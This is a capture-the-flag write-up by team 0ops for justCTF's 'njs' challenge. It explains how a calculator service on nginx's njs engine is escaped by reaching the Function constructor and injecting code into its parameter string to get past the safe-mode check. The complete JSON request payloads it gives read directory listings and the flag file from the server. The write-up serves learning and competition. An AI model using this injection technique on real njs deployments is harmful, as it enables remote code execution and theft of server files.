Tags: njs nginx web 

Rating:

# njs Writeup by 0ops

In this challenge we have a simple calculator running on njs, a javascript engine for nginx. After reading the source code we can know that the result is calculated by chaining a series of function calls inside class Calculator. Notice the toString function:

```
Calculator.prototype.toString = function(prop) {
if(prop) {
return this.result[prop]
}
return this.result;
};
```

We can leverage this function to get any child of `this.result`, then assign it back to `this.result`.

Just as other js sandbox escaping challenges, we start by finding a way to get a function constructor, which could give us a chance to run arbitrary script. This could be done by using `[{"op":"toString","x":"constructor","y":""},{"op":"toString","x":"constructor","y":""}]`, which literally means `calc.result.constructor.constructor`. Then we use `addEquation` to call this constructor function with two parameters. The first one is the parameter of the function, and the second is the code that we want to execute:

```
[{"op":"toString","x":"constructor","y":""},{"op":"toString","x":"constructor","y":""},{"op":"result","x":"a,b","y":"return 114514"}]
```

But the function could not be created and the engine raised error `TypeError: function constructor is disabled in "safe" mode`. We should quickly realize that some code audit might be helpful to bypass this restriction. Searching the error message led us to the implementation in https://github.com/nginx/njs/blob/0.4.4/src/njs_function.c#L894. Njs made an exception for `new Function('return this')`, which is often used to get the global object in a portable way. This means the last parameter of the function constructor must be `return this`, leaving us only the first parameter controllable. So, how njs creates a function? This piece of code shows us the answer:

```
njs_chb_append_literal(&chain, "(function(");

for (i = 1; i < nargs - 1; i++) {
ret = njs_value_to_chain(vm, &chain, njs_argument(args, i));
if (njs_slow_path(ret < NJS_OK)) {
return ret;
}

if (i != (nargs - 2)) {
njs_chb_append_literal(&chain, ",");
}
}

njs_chb_append_literal(&chain, "){");

ret = njs_value_to_chain(vm, &chain, njs_argument(args, nargs - 1));
if (njs_slow_path(ret < NJS_OK)) {
return ret;
}

njs_chb_append_literal(&chain, "})");
```

Without any filtering, the first parameter of the constructor is appended right after "(function(" and before "){", giving us a chance to close the bracket and inject code into the parameter field. After a bit of fuzzing, we finally can get our code run in the server:

```
[{"op":"toString","x":"constructor","y":""},{"op":"toString","x":"constructor","y":""},{"op":"result","x":"a,b){/*your code here*/}+function(","y":"return this"},{"op":"result","x":"","y":""}]
```

Then we can use readdirSync() and readFileSync() to read the flag out. The final exploit is

```
First request to get the filename of the flag:
[{"op":"toString","x":"constructor","y":""},{"op":"toString","x":"constructor","y":""},{"op":"result","x":"a1,b1){return require('fs').readdirSync('/home/')}+function(","y":"return this"},{"op":"result","x":"","y":""}]

Second request to capture the flag:
[{"op":"toString","x":"constructor","y":""},{"op":"toString","x":"constructor","y":""},{"op":"result","x":"a2,b2){return require('fs').readFileSync('/home/RealFlagIsHere1337.txt')}+function(","y":"return this"},{"op":"result","x":"","y":""}]
```

Flag: `justCTF{manny_manny_bugs_can_hide_in_this_engine!!!}`

Original writeup (https://github.com/0ops/ctfs-2021/tree/main/justCTF/njs).